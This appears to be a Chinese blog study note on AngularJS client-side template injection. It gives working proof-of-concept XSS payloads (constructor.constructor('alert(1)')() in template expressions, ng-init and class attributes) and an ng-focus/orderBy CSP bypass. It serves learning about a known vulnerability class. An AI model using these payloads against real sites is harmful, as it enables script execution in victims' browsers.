前言
前端的SSTI,也就是C就是client。这篇没有太多可记的点,想深入又太深了,只能讲些较浅的。
AngularJS
在模板中,因为无法存取到window,就不存在alert
,那如果想弹窗应该怎么办。1
constructor.constructor('alert(1)')()
可以用上面的代码去创建一个匿名函数去执行alert
constructor.constructor == Function
这两个是等价的
在刚开始的版本可以通过这种创建匿名函数的方式去执行任意js,后来有过滤就不行了,但是过滤不断被绕过,到最后angularjs就不在把这个视为漏洞,直接取消了sandbox,angularjs觉得模版可控才是漏洞的根源。
在angularjs 1.x的版本中,直接加上ng-app
就可以使用了1
2
3
4
5
6
7
8
9
10
11
12
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<div ng-app>
{{ constructor.constructor("alert(1)")() }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
</body>
</html>
在一些时候,前端开发与后端开发不一致就可能导致漏洞的产生1
2
3
4
5
6
7
8
9
10
11
12
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<div ng-app>
Hello,
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
</body>
</html>
就比如上面的代码,后端以为没问题了,但是直接请求name=constructor.constructor("alert(1)")()
,就行了,虽然引号会被转义,但是不影响他的模板解析
ng-init
也允许代码的执行1
2
3
4
5
6
7
8
9
10
<html lang="en">
<body>
<div ng-app>
<div ng-init="constructor.constructor('alert(1)')()">
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
</body>
</html>
同时他能用在class中1
2<div class="ng-init:constructor.constructor('alert(1)')()">
</div>
因为这个特性,导致了微软通讯软件的rce漏洞,详细可看
https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=12
AngularJS CSP Bypass
先看看代码1
2
3
4
5
6
7
8
9
10
11
12
13
<html lang="en">
<head>
<meta http-equiv="Content-Security-Policy" content="script-src https://cdnjs.cloudflare.com">
</head>
<body>
<div ng-app ng-csp>
<input id=x autofocus ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
</body>
</html>
可以看到这个CSP规则只允许了 https://cdnjs.cloudflare.com,而且没有允许unsafe-eval,那么他却可以弹窗。
这是因为在AngularJS中,他自己实现了一套类似eval的东西,所以就可以执行任意代码。
小结
这应该就是能记的部分知识点了,但是想要更深入,我觉得需要去了解AngularJS框架,或者react什么的框架源码才行,这对我来说就没什么必要了